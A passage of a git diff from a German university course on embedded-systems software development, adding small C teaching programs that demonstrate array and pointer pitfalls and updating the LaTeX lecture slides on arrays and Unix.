0000000000000000000000000000000000000000..892cbea5c1e3fec7b41112d9473260765a4adf98 --- /dev/null +++ b/20170413/arrays-pointers-004.c @@ -0,0 +1,16 @@ +#include <stdio.h> + +char *a[] = { "Dies", "ist", "ein", "Test" }; +char **p = a; + +int main (void) +{ + printf ("%c\n", **p); + p++; + printf ("%c\n", **p); + (*a)++; + printf ("%c\n", **p); + (*a)++; + printf ("%c\n", **p); + return 0; +} diff --git a/20170413/arrays-pointers-005.c b/20170413/arrays-pointers-005.c new file mode 100644 index 0000000000000000000000000000000000000000..61b3e9c7d85fc7d0ec55a011d0e07ac3c3e6b13a --- /dev/null +++ b/20170413/arrays-pointers-005.c @@ -0,0 +1,16 @@ +#include <stdio.h> + +char *a[] = { "Dies", "ist", "ein", "Test" }; +char **p = a; + +int main (void) +{ + printf ("%c\n", **p); + p++; + printf ("%c\n", **p); + (*a)++; + printf ("%c\n", *a); + (*a)++; + printf ("%c\n", *a); + return 0; +} diff --git a/20170413/arrays-pointers-006.c b/20170413/arrays-pointers-006.c new file mode 100644 index 0000000000000000000000000000000000000000..d34880a5d4034e45e175caace61f470d0ed65d10 --- /dev/null +++ b/20170413/arrays-pointers-006.c @@ -0,0 +1,16 @@ +#include <stdio.h> + +char *a[] = { "Dies", "ist", "ein", "Test" }; +char **p = a; + +int main (void) +{ + printf ("%c\n", **p); + p++; + printf ("%c\n", **p); + (*a)++; + printf ("%c\n", **a); + (*a)++; + printf ("%c\n", **a); + return 0; +} diff --git a/20170413/arrays-pointers-007.c b/20170413/arrays-pointers-007.c new file mode 100644 index 0000000000000000000000000000000000000000..76aeb36363cfde3d60b2ee60e4a0ac8ff3864684 --- /dev/null +++ b/20170413/arrays-pointers-007.c @@ -0,0 +1,16 @@ +#include <stdio.h> + +char *a[] = { "Dies", "ist", "ein", "Test" }; +char **p = a; + +int main (void) +{ + printf ("%c\n", **p); + p++; + printf ("%c\n", **p); + (*a) += 5; + printf ("%c\n", **a); + (*a)++; + printf ("%c\n", **a); + return 0; +} diff --git a/20170413/arrays-pointers-008.c b/20170413/arrays-pointers-008.c new file mode 100644 index 0000000000000000000000000000000000000000..2d1c07e80fb05f3d30ea6f13bd56297299b5826a --- /dev/null +++ b/20170413/arrays-pointers-008.c @@ -0,0 +1,16 @@ +#include <stdio.h> + +char *a[] = { "Dies", "ist", "ein", "Test" }; +char **p = a; + +int main (void) +{ + printf ("%c\n", **p); + p++; + printf ("%c\n", **p); + char *q = *p; + printf ("%c\n", *q); + q++; + printf ("%c\n", *q); + return 0; +} diff --git a/20170413/arrays-pointers-009.c b/20170413/arrays-pointers-009.c new file mode 100644 index 0000000000000000000000000000000000000000..e94de275c1732b0e169d4b050f0d59e71b6ddefa --- /dev/null +++ b/20170413/arrays-pointers-009.c @@ -0,0 +1,12 @@ +#include <stdio.h> + +char *a[] = { "Dies", "ist", "ein", "Test" }; +char **p = a; + +int main (void) +{ + printf ("%c\n", *(*(p + 2) + 2)); + printf ("%c\n", *(p[2] + 2)); + printf ("%c\n", p[2][2]); + return 0; +} diff --git a/20170413/arrays-pointers-01.c b/20170413/arrays-pointers-01.c new file mode 100644 index 0000000000000000000000000000000000000000..e7324ea51274c3f235e032e699928b26f390cab8 --- /dev/null +++ b/20170413/arrays-pointers-01.c @@ -0,0 +1,12 @@ +#include <stdio.h> + +typedef char string5[5]; +string5 a[] = { "Dies", "ist", "ein", "Test" }; +string5 *p = a; + +int main (void) +{ + for (int i = 0; i < 4; i++) + printf ("%s\n", p++); + return 0; +} diff --git a/20170413/arrays-pointers-02.c b/20170413/arrays-pointers-02.c new file mode 100644 index 0000000000000000000000000000000000000000..22bba7be43cfbbf6ee580e92bc58340b9566163c --- /dev/null +++ b/20170413/arrays-pointers-02.c @@ -0,0 +1,15 @@ +#include <stdio.h> + +typedef char string5[5]; +string5 a[] = { "Dies", "ist", "ein", "Test" }; +string5 *p = a; + +int main (void) +{ + for (int i = 0; i < 4; i++) + { + char *q = p++; + printf ("%s\n", q); + } + return 0; +} diff --git a/20170413/arrays-pointers-03.c b/20170413/arrays-pointers-03.c new file mode 100644 index 0000000000000000000000000000000000000000..14b503a4656a3979790232b133ff0bfcee937b6e --- /dev/null +++ b/20170413/arrays-pointers-03.c @@ -0,0 +1,15 @@ +#include <stdio.h> + +typedef char string5[5]; +string5 a[] = { "Dies", "ist", "ein", "Test" }; +string5 *p = a; + +int main (void) +{ + for (int i = 0; i < 4; i++) + { + char *q = (char *) p++; + printf ("%s\n", q); + } + return 0; +} diff --git a/20170413/arrays-pointers-04.c b/20170413/arrays-pointers-04.c new file mode 100644 index 0000000000000000000000000000000000000000..7c64dac5f1411c3f7abeaea3fddfc17cf16f1c4e --- /dev/null +++ b/20170413/arrays-pointers-04.c @@ -0,0 +1,17 @@ +#include <stdio.h> + +typedef char string5[5]; +string5 a[] = { "Dies", "ist", "ein", "Test" }; +string5 *p = a; + +int main (void) +{ + for (int i = 0; i < 4; i++) + { + for (int j = 0; *p[j]; j++) + printf ("%c", *p[j]); + printf ("\n"); + p++; + } + return 0; +} diff --git a/20170413/arrays-pointers-05.c b/20170413/arrays-pointers-05.c new file mode 100644 index 0000000000000000000000000000000000000000..925614681b2a4c2194b2831cdbff0e62e2aa9c27 --- /dev/null +++ b/20170413/arrays-pointers-05.c @@ -0,0 +1,17 @@ +#include <stdio.h> + +typedef char string5[5]; +string5 a[] = { "Dies", "ist", "ein", "Test" }; +string5 *p = a; + +int main (void) +{ + for (int i = 0; i < 4; i++) + { + for (int j = 0; (*p)[j]; j++) + printf ("%c", (*p)[j]); + printf ("\n"); + p++; + } + return 0; +} diff --git a/20170413/arrays-pointers-06.c b/20170413/arrays-pointers-06.c new file mode 100644 index 0000000000000000000000000000000000000000..15a73a318fca50d5959433795cb0560a32997bd6 --- /dev/null +++ b/20170413/arrays-pointers-06.c @@ -0,0 +1,12 @@ +#include <stdio.h> + +typedef char string5[5]; +string5 a[] = { "Dies", "ist", "ein", "Test" }; +string5 *p = a; + +int main (void) +{ + for (int i = 0; i < 4; i++) + printf ("%s\n", (*p++)[0]); + return 0; +} diff --git a/20170413/arrays-pointers-07.c b/20170413/arrays-pointers-07.c new file mode 100644 index 0000000000000000000000000000000000000000..742c1be1baf3783edc88b02495c85a608f9f69fb --- /dev/null +++ b/20170413/arrays-pointers-07.c @@ -0,0 +1,12 @@ +#include <stdio.h> + +typedef char string5[5]; +string5 a[] = { "Dies", "ist", "ein", "Test" }; +string5 *p = a; + +int main (void) +{ + for (int i = 0; i < 4; i++) + printf ("%s\n", &((*p++)[0])); + return 0; +} diff --git a/20170413/arrays-pointers-08.c b/20170413/arrays-pointers-08.c new file mode 100644 index 0000000000000000000000000000000000000000..22065d76a50044ceafe31b008fe23920a965b916 --- /dev/null +++ b/20170413/arrays-pointers-08.c @@ -0,0 +1,12 @@ +#include <stdio.h> + +typedef char string5[5]; +string5 a[] = { "Dies", "ist", "ein", "Test" }; +string5 *p = a; + +int main (void) +{ + for (int i = 0; i < 4; i++) + printf ("%s\n", (*p++)); + return 0; +} diff --git a/20170413/arrays-pointers-09.c b/20170413/arrays-pointers-09.c new file mode 100644 index 0000000000000000000000000000000000000000..812a3ab2ab84c124a54a1fee356aafc568fe6e1c --- /dev/null +++ b/20170413/arrays-pointers-09.c @@ -0,0 +1,12 @@ +#include <stdio.h> + +typedef char string5[5]; +string5 a[] = { "Dies", "ist", "ein", "Test" }; +string5 *p = a; + +int main (void) +{ + for (int i = 0; i < 4; i++) + printf ("%s\n", *p++); + return 0; +} diff --git a/20170413/arrays-pointers-10.c b/20170413/arrays-pointers-10.c new file mode 100644 index 0000000000000000000000000000000000000000..58fc72d9b074a25fab7b17dfec04656276c1ab1e --- /dev/null +++ b/20170413/arrays-pointers-10.c @@ -0,0 +1,12 @@ +#include <stdio.h> + +typedef char string5[5]; +string5 a[] = { "Dies", "ist", "ein", "Test" }; +string5 *p = a; + +int main (void) +{ + for (int i = 0; i < 4; i++) + printf ("%s\n", **p++); + return 0; +} diff --git a/20170413/arrays-pointers-11.c b/20170413/arrays-pointers-11.c new file mode 100644 index 0000000000000000000000000000000000000000..18a273182a1aebd05deaff9db16c037fbfff6af8 --- /dev/null +++ b/20170413/arrays-pointers-11.c @@ -0,0 +1,12 @@ +#include <stdio.h> + +typedef char string5[5]; +string5 a[] = { "Dies", "ist", "ein", "Test" }; +string5 *p = a; + +int main (void) +{ + for (int i = 0; i < 4; i++) + printf ("%c\n", **p++); + return 0; +} diff --git a/20170413/arrays-pointers-12.c b/20170413/arrays-pointers-12.c new file mode 100644 index 0000000000000000000000000000000000000000..d3273342d5abab32597f3e63905fd83c81af8c6d --- /dev/null +++ b/20170413/arrays-pointers-12.c @@ -0,0 +1,12 @@ +#include <stdio.h> + +typedef char string5[5]; +string5 a[] = { "Dies", "ist", "ein", "Test", NULL }; +string5 *p = a; + +int main (void) +{ + while (*p) + printf ("%s\n", *p++); + return 0; +} diff --git a/20170413/arrays-pointers-13.c b/20170413/arrays-pointers-13.c new file mode 100644 index 0000000000000000000000000000000000000000..16ec2f1e12d2632edc95f07129f55b6c64600da4 --- /dev/null +++ b/20170413/arrays-pointers-13.c @@ -0,0 +1,12 @@ +#include <stdio.h> + +typedef char string5[5]; +string5 a[] = { "Dies", "ist", "ein", "Test", "" }; +string5 *p = a; + +int main (void) +{ + while (**p) + printf ("%s\n", *p++); + return 0; +} diff --git a/20170413/arrays-pointers-14.c b/20170413/arrays-pointers-14.c new file mode 100644 index 0000000000000000000000000000000000000000..3a25af0c496ad2049807d8d5e26430f269de500e --- /dev/null +++ b/20170413/arrays-pointers-14.c @@ -0,0 +1,12 @@ +#include <stdio.h> + +typedef char string5[5]; +string5 a[] = { "Dies", "ist", "ein", "Test", 0 }; +string5 *p = a; + +int main (void) +{ + while (**p) + printf ("%s\n", *p++); + return 0; +} diff --git a/20170413/arrays-pointers-15.c b/20170413/arrays-pointers-15.c new file mode 100644 index 0000000000000000000000000000000000000000..eb58cb82e85819fc63e0e3867a57acb4c3edc181 --- /dev/null +++ b/20170413/arrays-pointers-15.c @@ -0,0 +1,12 @@ +#include <stdio.h> + +typedef char string5[5]; +string5 a[] = { "Dies", "ist", "ein", "Test", { 0 } }; +string5 *p = a; + +int main (void) +{ + while (**p) + printf ("%s\n", *p++); + return 0; +} diff --git a/20170413/arrays-pointers-16.c b/20170413/arrays-pointers-16.c new file mode 100644 index 0000000000000000000000000000000000000000..1f540a9a3cadaf9aa17cd214f7e848ef065585cd --- /dev/null +++ b/20170413/arrays-pointers-16.c @@ -0,0 +1,14 @@ +#include <stdio.h> + +typedef char string5[5]; +string5 a[] = { "Dies", "ist", "ein", "Test", "", + "Was", "ist", "das?", "", + "Ein", "Test", { 0 } }; +string5 *p = a; + +int main (void) +{ + while (**p) + printf ("%s\n", *p++); + return 0; +} diff --git a/20170413/arrays-pointers-17.c b/20170413/arrays-pointers-17.c new file mode 100644 index 0000000000000000000000000000000000000000..9a906947674f3331a8e07a347fe4bdb8443b63a6 --- /dev/null +++ b/20170413/arrays-pointers-17.c @@ -0,0 +1,14 @@ +#include <stdio.h> + +typedef char string5[5]; +string5 a[] = { "Dies", "ist", "ein", "Test", " ", + "Was", "ist", "das?", " ", + "Ein", "Test", { 0 } }; +string5 *p = a; + +int main (void) +{ + while (**p) + printf ("%s\n", *p++); + return 0; +} diff --git a/20170413/bla.zip b/20170413/bla.zip new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/20161006/csa2.jpg b/20170413/csa2.jpg similarity index 100% rename from 20161006/csa2.jpg rename to 20170413/csa2.jpg diff --git a/20161006/es-20161006.pdf b/20170413/es-20170413.pdf similarity index 81% rename from 20161006/es-20161006.pdf rename to 20170413/es-20170413.pdf index 9cb11f8c6aa0965c6afbb583b4d5db046a18bed0..977b9a46631c4aa51954828d50b54e8eb2d3c234 100644 Binary files a/20161006/es-20161006.pdf and b/20170413/es-20170413.pdf differ diff --git a/20161006/es-20161006.tex b/20170413/es-20170413.tex similarity index 85% rename from 20161006/es-20161006.tex rename to 20170413/es-20170413.tex index 872611709f15f6741a3025c185609ce6573732e1..955daeee9ea5486389bcf67c25ff67f7a2d12dc3 100644 --- a/20161006/es-20161006.tex +++ b/20170413/es-20170413.tex @@ -1,5 +1,5 @@ -% es-20161006.pdf - Lecture Slides on Software Development for Embedded Systems -% Copyright (C) 2013, 2014, 2015, 2016 Peter Gerwinski +% es-20170413.pdf - Lecture Slides on Software Development for Embedded Systems +% Copyright (C) 2013, 2014, 2015, 2016, 2017 Peter Gerwinski % % This document is free software: you can redistribute it and/or % modify it either under the terms of the Creative Commons @@ -25,15 +25,9 @@ \usepackage{pgslides} \usepackage{rotating} -\newcommand{\underconstruction}{% - \begin{picture}(0,0) - \put(9,0.3){\makebox(0,0)[b]{\includegraphics[width=1.5cm]{Zeichen_123.pdf}}} - \put(9,0.0){\makebox(0,0)[t]{\shortstack{Änderungen\\vorbehalten}}} - \end{picture}} - \title{Software-Entwicklung für eingebettete Systeme} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{6.\ Oktober 2016} +\author{Prof.\ Dr.\ Peter Gerwinski} +\date{13.\ April 2017} \newcommand{\ItwoC}{I\raisebox{0.5ex}{\footnotesize 2}C} @@ -45,9 +39,8 @@ \vspace*{8cm} \begin{picture}(0,0) -% \put(12.3,8.0){\makebox(0,0)[tr]{\LARGE\bf\color{gray}\shortstack[r]{% -% {\normalsize Software-Entwicklung für}\\[0.5ex] - \put(12.3,8.0){\makebox(0,0)[tr]{\Huge\bf\color{gray}\shortstack[r]{% + \put(12.3,8.0){\makebox(0,0)[tr]{\LARGE\bf\color{gray}\shortstack[r]{% + {\normalsize Software-Entwicklung für}\\[0.5ex] Eingebettete\\Systeme\\[2ex] \includegraphics[width=4.3cm]{logo-hochschule-bochum.pdf}}}} %\put(9.5,5.05) % zum Vergleich @@ -68,103 +61,71 @@ \end{frame} +\sectionnonumber{Inhalt} + +\begin{frame} + \showsectionnonumber + \begin{enumerate} + \bf + \item Was sind eingebettete Systeme? + \item Arrays und Pointer für Fortgeschrittene + \item Einführung in Unix + \item TCP/IP-Netzwerke in der Praxis + \item Bus-Systeme + \end{enumerate} + \dots\ und \emph{viel\/} praktisches Arbeiten! + +\end{frame} + \section{Was sind eingebettete Systeme?} \begin{frame} \showsection - \emph{Der Ausdruck \textbf{\newterm{eingebettetes System\/}} (\dots\,) bezeichnet - einen elektronischen Rechner oder auch Computer, - der in einen technischen Kontext eingebunden (eingebettet) ist.} - \vspace*{-0.5cm} - \begin{flushright} - \url{https://de.wikipedia.org/wiki/Eingebettetes_System} - \end{flushright} + \begin{quote} + Der Ausdruck \textbf{eingebettetes System} + (auch englisch \textbf{\textit{embedded system\/}}) + bezeichnet einen elektronischen Rechner oder auch Computer, + der in einen technischen Kontext eingebunden (eingebettet) ist.\\ + \strut\hfill Wikipedia + \end{quote} - \begin{itemize} - \pause - \item - \emph{keine\/} Aussage über die Größe - \pause - \item - in der Praxis: so klein wie möglich\only<5->{, z.\,B.:}\\[\smallskipamount] - \only<4>{\vspace*{-3.3cm}\hspace*{0.7cm}\includegraphics[height=8cm]{csa2.jpg}\hspace*{-1cm}\vspace*{-8cm}} - \pause - \pause - \begin{itemize} - \item - mehrere Rechnerschränke - \item - Industrie-PC - \item - Einplatinencomputer - \item - Mikro-Controller - \end{itemize} - \pause - \item - Bedienung über spezielle Ein-/Ausgabegeräte (z.\,B.\ Flugsimulator, Telefon) - \pause - \item - Wartung über speziellen Adminstrator-Zugang - \begin{itemize} - \item - Bus-Schnittstelle (RS-232, CAN-BUS) - \item - Netzwerk (TCP/IP, Ethernet oder WLAN) - \end{itemize} - \pause - \item - Programmierung oft außerhalb des Systems\\ - (Cross-Entwicklungswerkzeuge) - \end{itemize} - \vspace*{-1cm} + \pause -\end{frame} + \textarrow\ \emph{Keine\/} Aussage über die Größe. -\sectionnonumber{In dieser Lehrveranstaltung} +\end{frame} \begin{frame} - \showsectionnonumber - \vspace*{-\medskipamount} + \showsection + +% \pause \begin{itemize} \item - Einführung in Unix - \item - TCP/IP und Bus-Systeme in der Praxis - \item - Web-Interfaces - \item - C-Programmierung für Fortgeschrittene - \item - Theorie und Praxis der Echtzeitprogrammierung - \item - Exkursion: TFC -- Simulatoren und Technik GmbH, Velbert-Nierenhof - \item - Prüfungsleistung: Projektaufgabe\\ + Projektaufgabe:\\ Eingebettetes System eigener Wahl zum Laufen bringen +% \pause \arrowitem - {\color{red}Projektaufgabe überlegen} + Projektaufgabe überlegen \end{itemize} \bigskip - \color{gray} - Weitere Ideen: +% \pause + Beispiele: \begin{itemize} - \item[\color{gray}$\bullet$] - \color{gray} - Einführung in die GUI-Programmierung + \item Rasenmährobotersteuerung + \item Weiterarbeit an Smartphone-Prototyp + \item Verbesserungen an Flugzeugkabinensimulatoren + \item Spülmaschinensteuerung + \item Sampler-Grabber für MIDI + \item \dots \end{itemize} - \underconstruction - \end{frame} -\clearpage\strut\clearpage - \sectionnonumber{Aufgaben} \begin{frame}[c] @@ -235,6 +196,55 @@ \end{frame} +\begin{frame}[fragile] + \showsection + + \begin{minipage}[t]{6cm} + Array: + \smallskip + \begin{lstlisting}[gobble=6] + char a[] = "Test"; + \end{lstlisting} + \end{minipage}\hfill + \begin{minipage}[t]{6cm} + Zeiger: + \smallskip + \begin{lstlisting}[gobble=6] + char *p = "Test"; + \end{lstlisting} + \end{minipage} + + \bigskip + + \begin{itemize} + \item + In beiden Fällen wird ein Array von ganzen Zahlen\\ + (5 \lstinline{char}-Variable mit den Werten 84, 101, 115, 116 und 0)\\ + im Speicher angelegt. + \medskip + \item + Links heißt das Array \lstinline{a}; + rechts ist es "`anonym"'. + \item + Rechts wird zusätzlich ein Zeiger \lstinline{p} im Speicher angelegt,\\ + der auf das (anonyme) Array zeigt. + \medskip + \item + \lstinline{&a} ist {\color{red}fast} dasselbe wie \lstinline{a},\\ + nämlich die Adresse des Arrays {\color{red}bzw.\ das Array selbst,\\ + das zuweisungskompatibel zu einem Zeiger auf Elemente des Arrays ist.\\ + \lstinline{&} bewirkt hier eine (nicht explizite!) Typumwandlung.} + \item + \lstinline{&p} ist die Adresse des Zeigers. + \item + \lstinline{p} ist der Wert des Zeigers,\\ + momentan also die Adresse des (anonymen) Arrays. + \end{itemize} + + \vspace*{-1cm} + +\end{frame} + \begin{frame}[fragile] \showsection @@ -302,7 +312,7 @@ \thicklines \put(8.6,0.7){\line(1,0){0.85}} \put(9.05,0.4){\makebox(0,0)[t]{$\overbrace{\mbox{nur mit Trick: - \lstinline|p += 5|}}$}} + \lstinline{p += 5}}}$}} \end{picture} \end{frame} @@ -354,6 +364,8 @@ Schleife durch äußeres Array mit \lstinline{p++} möglich \end{itemize} + \pause + \begin{picture}(0,0)(-2,-0.4) \color{red} \thicklines @@ -388,6 +400,8 @@ \end{frame} +\iffalse + \section{Bus-Systeme} \begin{frame} @@ -626,51 +640,6 @@ \end{frame} -\begin{frame}[fragile] - \showsection - - \begin{minipage}[t]{6cm} - Array: - \smallskip - \begin{lstlisting}[gobble=6] - char a[] = "Test"; - \end{lstlisting} - \end{minipage}\hfill - \begin{minipage}[t]{6cm} - Zeiger: - \smallskip - \begin{lstlisting}[gobble=6] - char *p = "Test"; - \end{lstlisting} - \end{minipage} - - \bigskip - - \begin{itemize} - \item - In beiden Fällen wird ein Array von ganzen Zahlen\\ - (5 \lstinline{char}-Variable mit den Werten 84, 101, 115, 116 und 0)\\ - im Speicher angelegt. - \medskip - \item - Links heißt das Array \lstinline{a}; - rechts ist es "`anonym"'. - \item - Rechts wird zusätzlich ein Zeiger \lstinline{p} im Speicher angelegt,\\ - der auf das (anonyme) Array zeigt. - \medskip - \item - \lstinline{&a} ist {\color{red}fast} dasselbe wie \lstinline{a},\\ - nämlich die Adresse des Arrays {\color{red}bzw.\ das Array selbst,\\ - das zuweisungskompatibel zu einem Zeiger auf Elemente des Arrays ist.\\ - \lstinline{&} bewirkt hier eine (nicht explizite!) Typumwandlung.} - \item - \lstinline{&p} ist die Adresse des Zeigers. - \item - \lstinline{p} ist der Wert des Zeigers,\\ - momentan also die Adresse des (anonymen) Arrays. - \end{itemize} - -\end{frame} +\fi \end{document} diff --git a/20161006/floppys.jpg b/20170413/floppys.jpg similarity index 100% rename from 20161006/floppys.jpg rename to 20170413/floppys.jpg diff --git a/20161006/hexapode.png b/20170413/hexapode.png similarity index 100% rename from 20161006/hexapode.png rename to 20170413/hexapode.png diff --git a/20161006/logo-hochschule-bochum-cvh-text.pdf b/20170413/logo-hochschule-bochum-cvh-text.pdf similarity index 100% rename from 20161006/logo-hochschule-bochum-cvh-text.pdf rename to 20170413/logo-hochschule-bochum-cvh-text.pdf diff --git a/20161006/logo-hochschule-bochum.pdf b/20170413/logo-hochschule-bochum.pdf similarity index 100% rename from 20161006/logo-hochschule-bochum.pdf rename to 20170413/logo-hochschule-bochum.pdf diff --git a/20161006/pgslides.sty b/20170413/pgslides.sty similarity index 100% rename from 20161006/pgslides.sty rename to 20170413/pgslides.sty diff --git a/20170413/photo-20170413-170448.jpg b/20170413/photo-20170413-170448.jpg new file mode 100644 index 0000000000000000000000000000000000000000..e5d7729c812217d587f85579b05a5e861888068e Binary files /dev/null and b/20170413/photo-20170413-170448.jpg differ diff --git a/20170413/unix-20170413.pdf b/20170413/unix-20170413.pdf new file mode 100644 index 0000000000000000000000000000000000000000..d84d0adefeea93def07737897d9bff7cf26165bc Binary files /dev/null and b/20170413/unix-20170413.pdf differ diff --git a/20161006/unix-20161006.tex b/20170413/unix-20170413.tex similarity index 99% rename from 20161006/unix-20161006.tex rename to 20170413/unix-20170413.tex index e4953370c9614b22b778226f3798dabc39dc4ca1..1f836af6df3d3f99faec57d8e1ddd2776af483b1 100644 --- a/20161006/unix-20161006.tex +++ b/20170413/unix-20170413.tex @@ -1,5 +1,5 @@ % unix-20161006.pdf - Lecture Slides on Unix Fundamentals -% Copyright (C) 2013, 2015, 2016 Peter Gerwinski +% Copyright (C) 2013, 2015, 2016, 2017 Peter Gerwinski % % This document is free software: you can redistribute it and/or % modify it either under the terms of the Creative Commons @@ -40,7 +40,7 @@ \title{Einführung in Unix} \author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{6.\ Oktober 2016} +\date{13.\ April 2017} \begin{document} diff --git a/20170420/arrays-0.c b/20170420/arrays-0.c new file mode 100644 index 0000000000000000000000000000000000000000..c7979f25e040d43fc8d801068c21243114a3c7fe --- /dev/null +++ b/20170420/arrays-0.c @@ -0,0 +1,9 @@ +#include <stdio.h> + +int main (void) +{ + char *p = "Test"; + p = "Hallo"; + printf ("%s\n", p); + return 0; +} diff --git a/20170420/arrays-1.c b/20170420/arrays-1.c new file mode 100644 index 0000000000000000000000000000000000000000..dec221d5cd8cefd6ef600df4ac4ddaf5af8da4f0 --- /dev/null +++ b/20170420/arrays-1.c @@ -0,0 +1,9 @@ +#include <stdio.h> + +int main (void) +{ + char a[] = "Test"; + a = "Hallo"; + printf ("%s\n", a); + return 0; +} diff --git a/20170420/arrays-10.c b/20170420/arrays-10.c new file mode 100644 index 0000000000000000000000000000000000000000..1ade63bd89f4723417ac68d27d3aa859ccc766e0 --- /dev/null +++ b/20170420/arrays-10.c @@ -0,0 +1,11 @@ +#include <stdio.h> + +#define LENGTH 5 + +int main (void) +{ + char a[][LENGTH] = { "Dies", "ist", "ein", "Test" }; + for (char *p = a[0]; p < a[4]; p += LENGTH) + printf ("%s\n", p); + return 0; +} diff --git a/20170420/arrays-11.c b/20170420/arrays-11.c new file mode 100644 index 0000000000000000000000000000000000000000..9d7c6edd2eb3d39892e7598544170f40ef373f38 --- /dev/null +++ b/20170420/arrays-11.c @@ -0,0 +1,11 @@ +#include <stdio.h> + +typedef string5 = char[5]; + +int main (void) +{ + string5 a[] = { "Dies", "ist", "ein", "Test" }; + for (string5 *p = a[0]; p < a[4]; p++) + printf ("%s\n", p); + return 0; +} diff --git a/20170420/arrays-12.c b/20170420/arrays-12.c new file mode 100644 index 0000000000000000000000000000000000000000..c1e2a184a9d30f7e4f8af7d0152d9fe3cc452de7 --- /dev/null +++ b/20170420/arrays-12.c @@ -0,0 +1,11 @@ +#include <stdio.h> + +typedef char string5[5]; + +int main (void) +{ + string5 a[] = { "Dies", "ist", "ein", "Test" }; + for (string5 *p = a[0]; p < a[4]; p++) + printf ("%s\n", p); + return 0; +} diff --git a/20170420/arrays-13.c b/20170420/arrays-13.c new file mode 100644 index 0000000000000000000000000000000000000000..436360a1ab29522a86ce067bdba403d7922318a9 --- /dev/null +++ b/20170420/arrays-13.c @@ -0,0 +1,11 @@ +#include <stdio.h> + +typedef char string5[5]; + +int main (void) +{ + string5 a[] = { "Dies", "ist", "ein", "Test" }; + for (string5 *p = a; p < a + 4; p++) + printf ("%s\n", p); + return 0; +} diff --git a/20170420/arrays-14.c b/20170420/arrays-14.c new file mode 100644 index 0000000000000000000000000000000000000000..1d3877ccf4a6845ba55b6e3bc923f75e9c2d2768 --- /dev/null +++ b/20170420/arrays-14.c @@ -0,0 +1,11 @@ +#include <stdio.h> + +typedef char string5[5]; + +int main (void) +{ + string5 a[] = { "Dies", "ist", "ein", "Test" }; + for (string5 *p = a; p < a + 4; p++) + printf ("%s\n", (char *) p); + return 0; +} diff --git a/20170420/arrays-15.c b/20170420/arrays-15.c new file mode 100644 index 0000000000000000000000000000000000000000..cbb9cb2d154275952c293e5cc35a0daa248dcfc3 --- /dev/null +++ b/20170420/arrays-15.c @@ -0,0 +1,11 @@ +#include <stdio.h> + +typedef char string5[5]; + +int main (void) +{ + string5 a[] = { "Dies", "ist", "ein", "Test" }; + for (string5 *p = a; p < a + 4; p++) + printf ("%s\n", &p[0]); + return 0; +} diff --git a/20170420/arrays-16.c b/20170420/arrays-16.c new file mode 100644 index 0000000000000000000000000000000000000000..527024c2457e2a68ebf2a37e4bf1d584f04e205a --- /dev/null +++ b/20170420/arrays-16.c @@ -0,0 +1,11 @@ +#include <stdio.h> + +typedef char string5[5]; + +int main (void) +{ + string5 a[] = { "Dies", "ist", "ein", "Test" }; + for (string5 *p = a; p < a + 4; p++) + printf ("%s\n", *p); + return 0; +} diff --git a/20170420/arrays-2.c b/20170420/arrays-2.c new file mode 100644 index 0000000000000000000000000000000000000000..2bedab39c6c40bfbae464371f2ebb1ced3f3f966 --- /dev/null +++ b/20170420/arrays-2.c @@ -0,0 +1,11 @@ +#include <stdio.h> + +int main (void) +{ + char a[] = "Test"; + char *p = a; + printf ("%s\n", p); + p = "Hallo"; + printf ("%s\n", p); + return 0; +} diff --git a/20170420/arrays-3.c b/20170420/arrays-3.c new file mode 100644 index 0000000000000000000000000000000000000000..addd80905052c1ea29534c4f8c0b85fd8c39d9e7 --- /dev/null +++ b/20170420/arrays-3.c @@ -0,0 +1,11 @@ +#include <stdio.h> + +int main (void) +{ + char a[] = "Test"; + char *p = &a; + printf ("%s\n", p); + p = "Hallo"; + printf ("%s\n", p); + return 0; +} diff --git a/20161020/arrays-10.c b/20170420/arrays-4.c similarity index 99% rename from 20161020/arrays-10.c rename to 20170420/arrays-4.c index e474b148c64040bd98b81f4e1290858baa0a27f6..58ab7633e55d9c34a0a2bcd52502a7b4bf58f2d0 100644 --- a/20161020/arrays-10.c +++ b/20170420/arrays-4.c @@ -4,7 +4,6 @@ int main (void) { char *a[] = { "Dies", "ist", "ein", "Test" }; char **p = a; - for (int i = 0; i < 4; i++) printf ("%s\n", a[i]); return 0; diff --git a/20161020/arrays-12.c b/20170420/arrays-5.c similarity index 56% rename from 20161020/arrays-12.c rename to 20170420/arrays-5.c index b8a2d6a99f5045ca7dfbd3269883118dba38e182..29c2d36a5210f9e567e031f56927ad0eed058698 100644 --- a/20161020/arrays-12.c +++ b/20170420/arrays-5.c @@ -3,12 +3,8 @@ int main (void) { char *a[] = { "Dies", "ist", "ein", "Test" }; - + char **p = a; for (int i = 0; i < 4; i++) - { - for (int j = 0; a[i][j]; j++) - printf ("%c", a[i][j]); - printf ("\n"); - } + printf ("%s\n", *p); return 0; } diff --git a/20161020/arrays-11.c b/20170420/arrays-6.c similarity index 99% rename from 20161020/arrays-11.c rename to 20170420/arrays-6.c index 51a98f254a8f89c328b4d0cb58c644c126012de6..aa6e043074e94ef5986cbdedfab92c3d7801a3b8 100644 --- a/20161020/arrays-11.c +++ b/20170420/arrays-6.c @@ -4,7 +4,6 @@ int main (void) { char *a[] = { "Dies", "ist", "ein", "Test" }; char **p = a; - for (int i = 0; i < 4; i++) printf ("%s\n", *p++); return 0; diff --git a/20170420/arrays-7.c b/20170420/arrays-7.c new file mode 100644 index 0000000000000000000000000000000000000000..4ce256e0c45fa8bc79b3b838a1cbe8f9f7eadac2 --- /dev/null +++ b/20170420/arrays-7.c @@ -0,0 +1,9 @@ +#include <stdio.h> + +int main (void) +{ + char *a[] = { "Dies", "ist", "ein", "Test" }; + for (char **p = a; p < a + 4; p++) + printf ("%s\n", *p); + return 0; +} diff --git a/20170420/arrays-8.c b/20170420/arrays-8.c new file mode 100644 index 0000000000000000000000000000000000000000..145aafac3d709214b245635110418b6920459deb --- /dev/null +++ b/20170420/arrays-8.c @@ -0,0 +1,9 @@ +#include <stdio.h> + +int main (void) +{ + char a[][5] = { "Dies", "ist", "ein", "Test" }; + for (char *p = a[0]; p < a[4]; p++) + printf ("%s\n", p); + return 0; +} diff --git a/20170420/arrays-9.c b/20170420/arrays-9.c new file mode 100644 index 0000000000000000000000000000000000000000..1fd7fb0b2c84b05ad68e499523781c6a1f82765c --- /dev/null +++ b/20170420/arrays-9.c @@ -0,0 +1,9 @@ +#include <stdio.h> + +int main (void) 